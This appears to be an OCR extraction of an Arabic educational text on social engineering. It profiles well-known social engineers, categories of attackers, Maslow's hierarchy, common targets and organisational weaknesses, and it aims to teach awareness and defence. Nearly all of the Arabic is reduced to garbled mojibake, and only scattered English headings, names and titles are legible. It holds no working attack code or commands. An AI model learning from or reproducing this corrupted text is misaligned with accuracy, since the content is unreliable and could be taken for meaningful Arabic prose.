6 jj jjj^Si ^^joj j^<» ^ ^ 2012 4^ j^ 1 ^ 3 ^ ^ ^ a^a AiaiLaJ ^)jj.uitJIj ciilljll j& "Skyfall 

6j£i3l t . UjuaJ <>ilc j tdijjjjVl 4^ jui ^alAajjojlj l^jfl ^aaall ^aJJ jll j Aiiiill 4 Cjljjaij ^ja <^A3 J> ^a4j <j1_Laij (j^J V ^ u!^ 

V 6<ajlaJl Ja /ojflLd ojjja. J > 4_axu^a3I CjUI^C' dilji^ iS±A AjIuia (_^ja.l AALaui Jc 4^^ .U^*^ 

jj3 jj jl U£ t^Jj^udJ I^jujj (j^J Clua. tbjoj! J <!j jxxi Sjj ja. Jc CjULuII ^ 
4_j^UJl jxJ! ^jj .UjojI J <j^La. tDjJJ^Jl ^JAaII J 4^ 4jjuj jaJl j£l jxj jJa.ljj ^jjAjja SI jalli V)r t ^ I jxjI (jj^J l^J 

. JjLuall CljULaC. (Jjjia (jC lA JJ3 jJ ^aJJ AjLoaJl CjLlLftO (jV ^Jjj^ ^3^^ ^ 1|>1 J^ 

j^jUjJ y^iajj jin^ c'j^j 2002 <^ ^> ^-^^ r 3 ^ (c^*kL-l jl JS^I) : Catch Me If You Can 

tijlAa.1 JJ^ .(JjUC-Ul t^ljljfl <JljAji3l L— ia.1 \a\\ qiijW-iaW <a^V Jc ^Jjc jjJa jxJl jxj^s^ <SjflaJl <j^aall 4^^ .(Jj^Ia ^a jJ j jJJJ^ 
jjjjj J Aj jl^-d Jc Axusuj , jjuoc <joj^LoJI ^jjuj J jA j Aliljlc dijj M^)^ J^^^ J^J^ lS^»-^ tdjljfi cJ 4^^ 

Jjl£ JljAiill iajLiaSl AaJ jjj jjll CjUL^ Jila. . jV 2.5 C> ^ Jj>^ J djIjl^Jl dAA t*lj|jS ^a^lmj CjKj.nlt 
tilj|j3 lAAsu ^ajJaljj ^pajkl! ^lalaaJ Ja> .LajL <ic 6 Jaa. Ija.ll<i <joiij AaJ Ai£3j ^4j^ CjbjUaxj J (iljljS ^J^ 3 ^ (Jj^Ia ^a jJ Jl jiA 

Iajj > ^jlc, cJ,t E l >j ^> 4^1 .2003 ^ s^aJLcJt c_jUV jJ! J ja^! ^jj^. 4^ > (4JU^V! :The Italian Job 

t^-La-b A-AaslII ^aJJ .CjL-_aj-__a__!l Jlla a ^ja ^5ja.l <C a Ajla j ^jjJI j c__jLg) JjUj-J L-jLulll (j-alll l^jfl <i J^Sj 

^jjjaua '((jj^J^ ^J^J^]) t * a /^ ' " L3^)^^ f \ 1 ) Aal ^Jja-J ^jl jA AjI > na ( . LuiaJ ^LaaJl 4 ^ U^J 
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(FAMOUS SOCIAL ENGINEERS) <^Ui*VI c^^JI jfSl 

^IjflVl O^xj pj^al <xJ Jxj> La-a t^AaJl L^jU. j ^Jill j| jflVl c> ^Lal^M fJlc 

^I^JjojV Ajt-djaJl (J^ltjll 1 <ft 1J1 t JjAl ^^11 C fljjjj j dll^jjuill (j^Li Jc- ^C-LuiJ La-a j vfill ^L^jVI ^bVlmVI J 6J£juJI 

( ^jfij* Kevin Mitnik it 

A i o II ^^JjujI 16 jLacI ^-jIjjj (jjill /aA^lLall d jLV jll J (jjjjlla-all jj jj;*^ ^^-aj^-a jj£I AjLi^. <jakj Ale (iLllLa (jfljS <jl£ 

<JjLuj j ^1 ^1,V^ u>il Jj ^HaJ V (jU^VI (j-a jjj£ ^2 <j| (Jli j .dll^jJoll CjIjJIxJ jj jJJ^ti ^aUaj ^L^J^I ^ <jj^aj£ll diLuflJ j <JC.Lai*.VI 
Jj (jj^Vim.all ^t^aJ <JC.Lal^.VI 4juiAj$J! L_Jj1LojI (j-a <C jILa <C a ^1,V^ loal <j| (Jli ttilli ^ V.JJ .4i ^ lu^all A^jJall ^LaJjaV 

.cj! jIuj 3 (j^uaJI J Ij^juS 12 ^ j 1998 ^ V jl Qpl Jo^^j J^ ^jI^SI ^ISjI ji i_*j^VI Jljji u& ( 

(JJ-alc (jjijjuil j t^JjA .^^^ U^J^I Jj La-a ^Pacific Bell ^J^^ 4 <ahl) ^l^J C3J^"^ ^^J^] <^aJ <JC ^Ij^Vl ^J^-j ^ 

< fijl ftjja. ^gk <Jc jjc 6 JSjc-I LaHc .AJLaJall llJ jjl^ AjV j ^ 6 jjIjjS 15 ^ jj L5 la k <JlAxj| j ^ Ijli ojliiclj c L^aj j 

.CjLa^Jl d^A Jla AJa ^\i^3 ^LaiJ ^Vl jUlau£ jVI lU^ ."t*J3Lit ^fl pJJl" j "JLull o^" 

(cfeSfebl ^IjS) Frank Abagnale 4- 

^jl^JjJ-al (jLj L-jL ^ ^)Lail3 6jjj-a C - \\ >*>1 ^I^JjujL LljlliLaJl ^ ^J^-*^ 1 .(3^Luo ^^J^al Jjj-a 6 1948 <-S^>^ 27 J -0 L>* 

^jjjJ <J-a*Jl 11a ^jjjuj (_)jjLuj) ^^ic dula ^^jll ;ClxlaJjaj| <jl ^^iiSjl ^jl jisu Jjfl gaS .19 ^ (J^ 1^ 26 J^Luj . J^JJI 

(JaaoLI 6Aj£jjoi <J^.b (JjIsJI 4 ^ 9l £ ^ cJ^^ J IjLaLLaba Lll^. cJ-^ jA j /-jl-iuJl <JL^ (j-a e-^g+^i 4^ j^a-a Laijj iA > ^ ^Ifl^J ^jJjoj 
^j-a ^j^ijC. 11a j ( ■ j ^aL^a ^1 ^ illoal 6 jLlia J^Hl AjcLal^VI ^ ui.Vlgti daLj^jl] ^1 JJJjujVI aIa^IjujVI Jc (j^^)J .AjI^jjoi j 

Lai* jjLa .^JLJl ^UJI J^a^ J ^JJJ^' CjKjuill (jA jV jj^ 2.5 ^ ^ Jj ^LiaVLj >L pa^ 

^■Laaj 4-i^>A diS jll li^ .6 laJLaJI CjLV jllj ^jjoJIj Ludjj3 S^^xla CjUj^C ^ iJaS j 1969 J 4_Ludjji3l <UajJa3! JjS ^j-a 

AjjJaLa ^a CjI^jjoJI Cj^lilLajl lLu^. <CjjjabaJl <jLaC-V! (j-a <LudLudJ (iLabaull cJj^- 4-^-1 J-^ (J^Jaj .6A*.lj 4_jjuj\_La ^a i nil ^j-a 

( ■ u£ ^ tilli LaJ CjI^jjuoII SjjjuuJI ^aJ^ ^J-aVI jLaLLaba£ ^jVI ^lj^ tt^ljVn^ (jilS ^-a <JL*J! j& La£ .<LaC ^l^j] J t^^al^^VI 

. Jlj^ill Cjlqjq^MI 

Badir brothers *k 

JLu^VI ^^^>^ ( : ^ ^ ^ <a^JJ ^aAAJa <^*. ^a-all ^ill (j-a 44 C-La>^J jj^j ^jAai j jj^j 6 J^ 1 ^ 1999 J 

I j^Akjjajl 4j^\!l3l S j^-VI jll ^j-a (^^-acl j£ (j-a ^J^\ Jc .^Jajjuj lajl - ^ (jL^Hlj CjULnll <3jjajj jj jJJ^IIj CjVL^jVI 

djljl^aj i (j>l^aJ V cJ^^ ^^Jl <jojL*. ^jJjk.VI .^aALL^jJa (j-a jVj^ (jj^ 2 J 1 ^ ^J-l^J L_lJLaj|j 4-iC.Lal^.VI A ui^IqW 

Chris Hadnagy *k 

jja^l -u^i J^ J^j ;^LujVI J^liill j aj^Ui^VI ^a%JI ^ dii^JI j^ixJI ^ jj^k j& Christopher James Hadnagy 
^> j http://www.social-engineer.com ^ ^ i j microexpressions cjUiil 

dli 2014 Jj* J aA^j "The Art of Human Hacking" :^Lai^n 

c_jIj£3I 11a <jLji^ ^.ix^ <>3 ^ill j " Unmasking the Social Engineer: The Human Side of Security " 
(j-a <c a jSjj .Social-Engineer J 4jcLal*.V( ^Lajii^JI J (jjaj*^ ^11 3 ik ill ^j-a (Jjja (Jjjjj^ ^j^j Ljajl .ciLaLal ^ill 

tiUj !>L (JJJJJ^ .^J-a jJl SUaJl J AjcLai*.V! <juoA1^JI aAklujJ ^^jll tilJj 3-jojIjJ .^LiC-Lal^VI ^LojA^JI Jc l_jjjH3I j jLlkVl^ CjLaAiJl 
^3 ja L-±*,L^a Ljajl .^jj-atlll Jc jJol! o^cLouJ ^LiC.Lal*.Vl ^LojA^JI CjLjaj ^l^kluAj lilli j 6 ? 'jLlkVl" (j-a SA^J j 
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Chris Nickerson *t 

.ciil£jJa3! i y*\ (jljlkV a! Jl^a q^jxj Aj^L*jj j& (Jjjjj^ ^IS <— u& 'TruTV's Tiger (j^j* ^ j^-^ j uj^j-^ cj^j^ 

.cJlkJl Ajlgi J (jljJ^VI J J-^ll J JJ^V^ J c flxjJal) Jallj J^Uloal (jl*J t flj£ jl^Jal Lpa^l (j* JW^ ^^1 <J^ 

(jxa Aai^-all CjLaaaJl (jxa Jjaxll ^-^Jj '(J^J^ J J**^ (JO*^ J^J^ ^ A_jLi£ CllSj J ;CjLg jla_xJl ^j^l lP^* J Ajt-lila j& 

a JIjIgVI jUlklj <jujUjuj (jlaJ A_jcLala.VI <juj^JIj (_$ljla.VI jb^-l 
Categories Of Social Engineers AjpLu^V! i^ulfll cjUs 



J^. (jJiailall j (JJdjiJoi! jaJl (JA Ac j<^ AJ laij L— Ll^ .CAjill (j* JjaxJl Jl ^JuiVi (j£-oJ j^AaJjujJ (jjill till! jl J AjcLala.VI 4 uaoifrU 

.(jjjjlaJl (j^aLauuiVI j djlx-n^Jl ^jala 

j J^l l£j j ^I L_axjuiall J-alc ^jV Sjjjc <-jIj^ ajcUu^VI ^jojii^JI ^jj^liioaj <jj^alji3l ;(hackers) 41^1 jSJ) -J 

i o a JjJa IgjJajaJ A^jslaj j-aVI (jt£ lit Ai^ljall l^-iS jjSJ 6JJJC Clll j^a J .A^JjuJI c fl* > >i Jalaj (j>» (jl jla.VI 

<J jl<JI Jl 4-^^ (_£-^LlII IT U' J ■ j^-^ J J^-J c s*jJa jl CjS jll t . ujuaj Sjjaa** dijujj] IgiV <^Uij CjI^jjoJI 
a_^j jii 4jUxJI JIjj CjS jll I jjja^l aa I jl axj .m^a jLajV A-cLui 24 uj^s iL-aljill jti '6:00 jl 5:00 J 

A^jjoi J-aJJ (jl 1 g dJ C5^^J ^J J ^^ Ajl^jll ^t^I ( _ 5 1c J^Luj (jjuj I jj£ alj L_fl^Jl ja. (j-d ( ■ ijl a j£ ^ ( ?< La ill 

ji < flx^al l jlal jii^j ^il! c>a ^l j Pen test ^ :(Penetration Testers) Jlj^VI $ -2 

J j t jjuJI cjLaK ^^ic J jj^aaJI (Jl* (j^ila j-<Jl d-jU» jlx-<JI ^gic J jj^aaJl felicitation) ^ jnmVl LijUiaj 
^laaJ "^la^JI" qa AiliLxi c_iJLaj| ^ jaj ^JUJI ^UjI ^.ia^. (JjjjjojIj^JI :(Spies or Espionage) ouaH I jl juuuiljaJ) -3 

Aja^j^a>JI CjULoi^JI t^j-^LaJiVI ^.UujjI (Jl* CjUi jIslxJI a I iklujl Aijjuj ; (Identity Thieves) ^^4^' (j^j-^J -4 

j^a >*>1 (jLaljV Aa. ^jJa j ^ jl^)li (jl (j^^ .1 (g i > ^1 ^aAc. (jjJ ^^cLdla-VI (jL^jJall 6 J^LlaII jJ j (jJjUc j 

.(phishing scams) J^j DNS Poisoning lU^ <^ Jl^l J 
^ jjat ^Jl c> :(Disgruntled Employees) O j^^ 1 ^ O^alaj^l -5 

^jJatijj tAjjjl L> (JaxJI^ I L>^1 . t< pj^j L_aJa (J*^ AjjojLojVI L-jLijujVI ^ J > "' Q *^ ^xL 6jlc .(jjIxaLai I gal (jJjll J-^l 

J (jjla.aj Lo Ullc. ^jli tUaa.Luj L_aJa j-<Jl ~y gaJ (jl J^a-AJ ,Ajajj]| Jc <J jj^aJl Aj^jS ^—^J^ J» 4 J'^ 4 J^* t6 JJ^ > ^ IjJ^-l 
(_^ jlaui ^.lia.1 ojIc L_aJa ^<JI (J jLaJjai La£ t^a.1 j 1 1 ill ^ (jxi ^jJa jll (jj^J La LJlc. j !i& ^(JaxJI L-la.L^a ^ AjjIjc Cljla!>lc 

. jixa. J ^I^C ^J*J 

( . uiiill djUi^a. ^j^j cjLLiJI ^aj qjaJL (CjLLiJI) l!Aa jLla!\ ojjojUujj ; (Information Brokers) ^La^IslaJI Sj-uiIaui -6 

CjIj ^ C1j1£jj^3I djA .^tial! ftjljj 6 U^"^^ AJIj-Q diUaa. tjljaiill Cjliiialll ( . a Jl<» AitLa CjUJalJl CjLLiJI (jc 
jl ^ij (j>» jj j>J l^laajjojl (j^J Jill CjLa jlx>Jl (j-d aIjIa CjLia£ Jc (_£ jlaj L^jV (jjcl alaVi (jjjajai^All AjjouIL AjIIc A^uS 
Jj3 (jxi LjjI I^t ^jj ^^lll Ajj^a-jaJl diUi jIslaII (jxi JJ^I (jli A-Jljaii3l (jjjl j^l j ^jI jlll t ; \unj .ciL (j^aLaJl |§E 4 lajulj) ^aCJ 

Jc aJI^I .ChoicePoint ^aLLuj jll Jja CjU jlxJI 6 ja Sjbl J\ l^u j^i cDMV ^ j^JI ^jVI^ jll 

-Discreet Research-LexisNexis-DOCUSEARCH-KnowX-ChoicePoint) JV1£ CjU jk>JI s cj\£ ^ 

(tij^Vl djl£jiJI (> U jjcj MasterFiles 
.^Ull aLjL s jSil r j^a \±La1\ J+ Jl" jl " JLLa^ll (jUill" ^j^ jl£ :(Scam Artists) O^tb^ll c^Uill -7 

a( jVI J^- JaXJ l^ji ^ t!l3j J L_LLaJl 



AjjL ^^a-Lua X*a-a . J 
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^l^alc ^^iki L£ <Head Hunters J Executive Recruiters :(Executive Recruiters) ijijiSIt uLIajSJ) cjL$a -8 

A&JUa jll Clal ALlLal (Jjjml IaII ^aLkjoiVI Jc jjlxll Ailla a CjIj^I jl ^jl j>» a I^JLujJ IgJl .CjI^jjoiII J ^i-lla jlll (JjjUJI (JjjLuJI J&J 
Jc jjilxll dljjljVI Jc ^il j>» Jc Ajjlill ojJjoJI <J^-^- j>» ^Halillj CjULnll £-<^ ^xLj La S^lcj .J-**-!! '/^'^ Ig-xjJaJ jll 
jL^JlLail aj jl ciL (j^aLkll Aldl^xJl L_Jj|^)3l jxa a1 j-aC JjtLa A^Jjoi I uaaJ jjLa*J j-all jc jjl^.Lll .dlLa jlx-all 

J*^ j^i . J^c- cilk^j headhunter yr^Jt -f j^j $j^W* headhunter 

m A*^\ till 

(jjjUll *Vj& . o^ijL f& ^-lA^JI jU J jl^ jl dii^ jl£-a J£ J cj U -uJI :(Sales People) cAjlua]| -9 

.IgJjlulJ jl tilla ^JJJ jll <La,lkll jl £t2Lall ^J^3 

Jl a^Ij ^ j&^SI j* ^JaSia ^jjjLojI Jc <ucLal^.VI ^LojA^JI L_iJLaj| jxi ^j^sJI L_ala jj CjLa j^aJI ; (Governments) £jLaj£^I -10 

CjVI^ jll cJ^ j-* jl jjjMiljMill (JjS j-a ^lala (JjAjujI J 11a ^aJJ jl j^J .4^1* J^^ dllpl^^-VI ^Cll ^alx-ll C^ljll J J^-*^ 

_4_icLal^.VI <juj^JI ( " & dLa j^JI cJ^ j^ L-j^pJI CjUIac. Lili La Ij^ .4_La j^JI 

.-JalLa (JjjLojI Jc ^jjjUII j>» ^j^xJI (JjS j-a 4jcUu^.VI 4joj1^JI LjjJLujI a iklujj ;(Everyday People) ^hj^I (j^l^iVI SU^-H 

dli^ cJliJa^l Jllft .1^. <!Ui I^jV <iaLaUJ ^^klaaj j SAijjia]! oiA ^l^kloaV (j-a^Jl Jj3 j* A-ij jjJ U3l6 tilli ^Lj 

jjill ^UVI ^ <J^lA J 6 6^^xl<i JjLoj j I jxAaajoiJ dli^. .oLi^Jl j-d dl3 j J A-icUu^.VI A mi,V^1| L-lilLojl JliiaVI 



JjLoj jll J^l^. j-d jl 4<jI£3! jl (jjj jjaJI t . nil >>iVI <J!^L^. j-<i jj^j jl j^-<^ 1^ .^I^axjoj ^Jlilal J uj^J^ 

,Clj|jlji3l (J^asu jjAaJJ ^J^l j cJ*^ J-^^ J' ^(^^-^l (J^*^ ( : 4juAju11 ^IsJl \ ^ Jl SjLujVI l!^ ^ lajuliU 



ASiJm (jS 4jl1a\ S jau j^SI ^ (jiiUJl -2 
4-4 jlla JSVI JjjlaJl -3 

.jjj* jjii^i tilal (brute force) 4.<u!oUJI s jill ^jia ^l^lml jj] jI^j j^VI jl ^jLujVI jl djlcLaJU jjjjaL <jj^alji3l jl 

J^l^. j-d .(jjla^ ^> >ij J jj£I jl JJJ-<JI (jjoij Jc (Jj^aJ jl j^ aft A > <<-\\\ <J1ojVI ^I^JjojI j A-ifljlA A ^U^3l ^llxi 

(j>>* }} ^^il jl jjiIa^LuJI j^a j-<JI Jl c-j^j3I t^LdLaill (JjjU^I 'a^j^- '(duiiipster diving) ^^^1 J c— laall j^ s^lilujVI 

^j^aII Jc jjL gaaJ ^c>il^)i3l ^Jt^-i m iSd&l\-i aSl±u^\ Jl J jll Jl <il^jSJ jl j^J I^A J£ Lft ^Jjanll uj JiLd 4jjL^j3I (JIacVI 

^3 .Ij;!^ 4_icU»l^.VI A uaAl^JI jj^ UAj (Cracked) ^JJ^ ^JJ jl AjJa 4-Jjt > ^ j5£l ~y gaJ ^jL^lLdj LLdl jj£I j-aVl j-« .lij-^^J 

JiLd j-G AjIa^JI <Ja^. ^jJa j Jc (il^cLaajl ^a^JjaaJ ^3 jll A-l^ixJl j <J ^aU^3l 4jL£ j 6<J ^Usll AjcLdl^VI ^ m, Vigil A j£ 

CjUl^JI 



Aj^UI^VI ^uullfll Ifok- J]| JAill LilJAVI 



.^AaC J!)tk jxi jjJ^UJl ^j^aL^iVI ^I^aL 4ijLL» j^-dJ ^J^faJI 4_iC.U»l^.VI 4juj,1^JI L_al.i&i 

(Ethics) ci^>^ -J- 

t^jjoa til jLaJI li^ jl Ajli^l! Ajs Laj S jij ^>*ja>j 4 ^1^<JI jl£ lij ,^1^<JI <J^.b ^^^juj j ^i^. Ui o^cla jjjIs^ ( ^ ^j^l^VI 

Ai^-xJl Aijjoa (JJ Ja jc ^Jl ^1 'l?* cJL-^ll ^ j-a L_fll^AVI jOJ <J > ^ J^ (j^l^VI .^1 jLuJl li^ ^1<J jjijl jllI (Jj£ nil 

(Goal)£alj^l -J- 

l^nJaj j^j ^1 j^l . J!>Lkl j;i*JI jj jjj^ti iaUU ^1 j^ 'Honeynet ^jj^-^ ^jLuIaII tJj^JI ^JVlax Kilger jj^-^ 

,^1^<JI (Jkb ^jJa jllj 4_icUu^.l Aj3 Jl t( . UjuJI tdjlill jlc ;4_iajli3lj tjUJl I^^A dbuJl ^ilj^ll .AjcI al^VI ^ > o 11 ; 

jl Ji^U jl ^aII jxi ,(4_icLdl^.l Ac j^^ a J (JjSj jl jl (JUJI j>» ^j-<Jl L_bo£ jj^JjJ ^jjjUII- ^1) ^ola a ^1 J i ^ J ^ ^ilj^ll d^A 
Jc djl ji^Jl oi^ j-d J^J - J J^aill J ^tSftjVI J tAi^xJl l$J^)1\ ^-LaLiJjll ^1 j^ll (J^axj cJ-a-^ ^ KUger JJ^^^ 

.LajT SjjSiaJl CjI jaa^ll ^jiW <>ij^UI CIjU jlx-oll iCjL jlx-<JI ^ < Jlgill cJ^JI .AjcI <ua>VI <juj>%11 lJ^A l^jt 
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(Maslow's Hierarchy of Needs) cjULj^U jL« U ^ ± 

Uaaj dilil! ^jjiaj j jjjsjII Cjta.bja.1 .dJUl ^ C5 lLaJI * jaJI ^ Uaaj ftUaJI ^jS *tLl] 4jjuLuiVI L_Aa.Lja.VI <_JL_I JS.u-1 jj-^j 

4iV IjIaJ 1970 l> (jrW^-^ f-^J^ J - jilj S^-L-aVI .i___a_<Jl '^J w " fJ 4_l >t. jll ^-Ic .^j^Sl JjuoLull ^-Icl 

-c ^l^)a.VI jLuoll ^^joLij^ll ^ilall j 4<a^x-<J! (j~ 4ja^s_<_l 4 ^1 (j^jjajj 




j HIERARCHY!*^ NEEDS A 



l_jI jJ-\Ij J - LI I Jl 4_>laJl j SoLaU 4uaLja.l ^UjuaVl J--I f J£-l $Jcl_ jl jl * J~-5 (j-^ 6 cs^J6^ Jmluilll l_A J ikl 



,4jc1 al^VI 4 ua-jfrll (JJ^-a (jC- 1 gjlc J jj____II (j - ^ ^5-^ J 6 lJL--l (J -0 L-H 3 *^ CjW^*^ L>* ^---^ 4j.uiL.nVl SLaJli .(jn^nl! j 

<jujjj^Jl (j>* <at_L~ t . \)\\ y nl <Jxju_ CjI ^1 jl^Vl (j-asu $Cal ^Ll^^U ^^^Jl <JjuaLa_Jl CjI jq^ all j L-flla&VI (j~ L_flaA <J£ j (j£-<u 

(jj'q^'i .4jc.Laja.VI 
Jl 4aiaJI (jj__ jl j_~u jtiaVI 

Social Engineering as a Protection *t 

jl 4^Jj-i (j^L Jc SacLuix-] <U jla_a J .(jljlaVI jL-^-l J 1-^ lj^ ^JJ J l5*--3 4jC.Lua.VI 4 ua-Jg-l L_iaJj__J t(_£^)a.l 4ja,b (j~ 
1 a ^ I^LujJ jll 4ucLua.VI <JoJjj^Jl L-AjJ-J (Jj-_- (jljJa.VI J."^ a a I^JjujJ I— JIacVI ^aJlc (j>^J ^^jll jl U^Nfi 4jjj ^^ic. ^JJcLabd 

^Aj ^)J^ c3J^ U^J u ^il^all 



lj! a*\$ \\ A-uajxil ljL£ jiuJl 

Jalij (jj^i (jl djL£ jLuJI dj^J (j£-<»jj _4jc.Lua.VI 3 ujjlfrll CjLa^a l_j1^jjV 4j3L3I t ; i« uJI a "j.^j L - J ^ jLJI SjIiLuiVI * ^ 

•4jc.Lua.VI 4 ui,V^ II CjI <^a^J 4jjou1L L_kxjJa]| 
ojjLaII ^aLij ia.L (jl CjI^jjoJI C5 ]c (jJ*JJ .4jc.Lua.VI 4 uijigJl CjI a^^l ^^^joUJ^)]! (JjjLojVI *aJ uiiL 4ij3l (jxi 4jjjoj3I 4jt-nJaH 
Jjja. jj£I (jjila j-<^l (jj^J 4JC.Lua.VI 4 uajj^Jl CjLiaA cJ J^- J 4Lua-<Jl L_astjJa3l Jallj (jc pjIjuoII (jji^a ^<Jl c fljjjj ^ 

.^jLlia (J^aflj 4Jla. ^fl ^-9!aAl JJJ^J ^l (jJC.Lua.VI (jJjojji^xJl ^JAjj LLa.1 
LI j-<Jl jl j jiill ^Lj^I (j>» 4iiia-<i ^1 jjL J jCj (jj^a (jc L_flj^Jl ^jjIuU l^jli 6JJJ^j3I £a (Jaxj V J^VI (jj^J L»jjc 

A i J i na II 4£jJa3l CjLLj c_jjjuoj 4jjl£^l tilljAj t^j^Jl c_JJaj j3 tdiVlaJl ojA Jlo ^ 

^Ajc-Lua-VI CjLil jjlVI t . Ujuu (jjc.Lua.VI (j t U>i,V^ a\\ £a l_aIjaVI (jjlxJJ 6(jLa.VI (J^asu ^ 
,!>l^jaj lioA 4^JaIxJl (J*^ 4LilxJl <JjS (jxi 4jc ^cjj ^^jII ojLIj 4jcLua.VI 4jujj^JL lU^^ 

.CliLi jlx>Jl jj3 jJ ^aJC <j!>la. (jxi 4iajj ^ ^ jSjll ( . llaJ Ja.1 (jxi 4jujL aa \\ djLi jlx-<Jl (jc L_Lua^3l Ljajl (j^aajaill (j^-u 
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CjIa^J <Lia d\S Jxaj J-al jxJ) 

<J j^. (Jjjiila ^a-all c fljfljj J^lk ^ Vj £^aj £y clA^ *^ *^ .<«— J^^jJI ^^-Sc t-^-^ UJ-^ U' AjcLgI^VI A ua^ifrll 

(Insufficient Security Training) <^ ^J^ 1 *k 

(Lack of Security Policies) ^LJoui ^j^j 4» 

<ji !^a* ^i^J 6 L^3^^^^ O**^ ^ L>^ *^^)^ P 1^Luia]| A-£j& '(J J^ 3 Cj! jLalLal 6 jj^all 4^al£ ^JJJJU 4_jujLlui (JLa ^ijl^ill (j-a (J^ ^^x! 

(Easy Access of Information) cjUji^l ^1 J>^ajJI 4Jjfui J_ 
(Several Organizational Units) ^ j^ntt CjI^jII Cja jjjxil ± 

CjUc. jl JtjlaV! ^gic ^jjjUll J-a^. ^Icj 4_jcLal^.VI 4jajli^Jl .4jcLal^.VI 4joj1^JI CjVjL^q ^jc c flj^£JI L-Jxj gall ^j-a 

# A£jJo3I L_jL (Jib La^S ^1^1^11 l^-llc Jj^a^J <Ljia3l (jj^J La Ullc. ,A^.l^aJl 

^AjC-Lal^-VI ^LojA^JI diLa^A AjJa (J-al£l! (j-aVI (jLajJa \ £ j£ <3Jjia Aa. jJ V 
_4_jC.Lal^.Vl <joj^JI dil AiJa ^li^ll 4^.LLa ^al^>J jl ^^-^^ ^ 



tack) AjpUL^VI 4-«%SI 

AjcLal^Vl A yi\X)$\\ _Ai^jjatxJl a£jjoJI J ji^l <j£-a-a3l JjjoJI ^l^jj cJ^ (j- 0 ^La jIslxJI ^^^j jll ^ a£jjoi ^1 A £ a Jj3 $ a\\ 

^ jJ JiLa 4_JjojLojVI CliLa jlst-xJl ^^Ic jjJjlII Ai^Jjobal! 4^jjoJI ^^ic CjL^jL Aill ^ajlj ^.l^all .CliLa jlx-al! ^1 jl^V Aaj^jSI JLa S^lj 
;4^jjoJ| t^LaLalll Cll^Jl c5^>^ ^ ^ t4_l^.j-a3l d^A J^lij (illi Laj t^jaila j-aJl 4<>JalaJ! ^ 6<jLacVI 

.^tll 6L_aJa j-a (Jj > <a1 9J ^^ic JJ^X-Sl 
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A ml uiaJl diUi jLlxJI Jc ^^LiLoj^U l^_l!>lijjail a1 jl «s a\ 4_LaUJ^)3l 4_i^jJa3l jl^J fpl g a\\ iAA^I m<^l 4£jjuJ| ^jc ^LixIg Cj S-l^)^.] ^su 
.^aJ g all Jl 4^jjuo11 <jujL II CjULiJI ^jc t ftju^ll jl LjJJJjouI ^IAxJjojI Jc Uj^J ^3 4A£jjaJl ^jc ^jjjJalj j;iC. ^Jl l— Lia ,4^Jjal3l 

4 ml > CjLg jlx-a ^l^pJLudl JjL^Jj A£jjuo3I J^a ja £a 4i£l*Jl <j!)lijjail cJj^-^ t^JJuJl J (jJ-alaJl £A S-UfJ ^1 g ^ ^Lii ^^)^AJ 




(Impact On The Organization) ^jUlai^l Jp A-^xil ^uulf!) jjjb 

j 6A£jjuo3I J ^jjoLill ^Li^jjI jJjojI j 4 jWq'im^l A-Lolill Jlxi CjLd jls«-<i AijjaJ A-jcLdl^VI A m.V^ll ^lljVql I ^q^Vimj ^3 ^jjjuaal_L<Jl 

4 oft loll Ajlauu jl j-uaVI ^ 

<x-<ijudj jljjJaVI Jl c5^J^ ^J^J^V^I <jajLud^Jl djULlJl c_jjjuaJ AjcLgI^VI ^ m.V^ti CjI m ^j}\-lj\\ ( . iAaJ 1^. 4^<Jal<Jl <x-qjoj 

^^uJiixJl 



jL^j^al 4-1^ Jc iali^Jl Jc 6j^li jjc. 4_xJaixJl Cl±jl£ lil /DjjiAll CjLauuj^l] <Jjou31j A > .^il ^ 4 J ^aJI 

^jl^a <xJal<Jl <^l jj ^jl (j^J 4 jUlbj .^LJaixJl jlj-dloaVI (Jj^JjJ V ^JJ A£jJ^Jl J <SJI I^j ^ <jjjU31 ^jli ;^Xdxj| jl 4_aJj^axJl 

(Jj3 ^j-q AjcUu^VI A m.V^ti CjL^A ^lA^Laal ^j£-<»Jj ^CjI^ILuJI j <xJal<Jl ^aLkjJjl Jc I Ja^. J£joiJ AjcLdl^VI J> *al Wll <^3l^Q j jVI 

.^I^aV (blueprint) ^> ^Uijy jVI 

. jL^cVI 5-bl Jc jJjJ C5^^J ^ 4_nlud3l 4jIcJI A^jjj aJ^aa]| j AjjLjalll ^jlcJl 

<>JalJ3 dia^Jl jl ^ajUl (jplc-VI (J^aj3 ^ ^AaaH j AjjLjaall ^ jlcJl j t4 ftJaLall Ajuzxa Q\Ssk Jj (^^jJ AjcUu^-VI ^LojI^JI CjIa^A 

^AjjL^jII 1 ^LSajulj) j 
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(Common Targets Of Social Engineering) 4jpUL*V) cjU^J 4*iLiII <J!jaSM 

(Receptionists and Help Desk Personnel) S^I^aJ) uRIaj JbSl^V) c^aj^ ± 

(Technical Support Executives) cr^t 4- 

(System Administrators) fUailt <A$>^a *k 

J - gaaJ L_fl jjoj ticl^k ^.l^xJl ^Ualujl li! . (JjjjuiaII L-jL JjJ-a dal J!Lg CjLg jl*-* 4_xJaixJl <^JajVI ^^ic Jali^Jl 

(Users and Clients) f ^^II^aJI ^ 
(Vendors of the Target Organization) <-i^l Aulai*]) ^xjL ^ 

(office worker) 




Attacker 



Attacker mskkne an attempt as a valid 
employee to gather information fnom the staff of 3 company 



The victim employee gives information back assuming 
the j-.tj^er to be j ilid employe* 




Victim 



^jl (j^-AJ Jjj^alalU C5 1^. .diUi jIscaII j J-dVl (_3^*^ ^'^ c ' ^.^j'^ diUJ^ll tilli .<i^a dlli L— Lujj] diUi jls«^ «^JJ V 4-^ J ^ 

fj\ cb^jlU diiK I^jI ^jjj . jUjli t> ^> jSSV (pen tester) j^VI c5 c> c5^^ ^jjUl ^jU 



4 https://www.facebook.com/tibea2004 
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(Jjjjoixa -laj l— la A\ ClAAjoC o___Jj J ,A£jjaJl jIju-a Jj (_^^JJ (jl ^ g jll (Jj> gal -ill (j-a (jc L__jj_jVI L-J ja_j jL» CjI^j 
£j| JaJL 4_<»Lg_aI i— ua £j| J--^ (J J 4_£jju_II 4_1 ^a__L<_!il 4j (j_al___\l Jjj___lVI -^^)^ ~ 1-__juj1 j_ju_xJ| £13 J a£jjuo31j 

Cj__> j ^ <>j 6www.stampcollection.com J#-JI ^ c> ^ URL u' . 1950 ^ ^laJI 
" ^li^j <iU <S L___jli_VI 4£jjuj Jc £_■ ^ ^LudjU <c jjluj dula .<Ja. ja. J t>— la A\ <J!>1__. 1950 £^ ^ j""? ^ jj j -- a 

;4_£jju_!l J (JjjjouJI I^J JjjJ__IVI ^J^-l dlLajjl ^aJ Jail 

t JJjX_| ^£ Jj*UU 

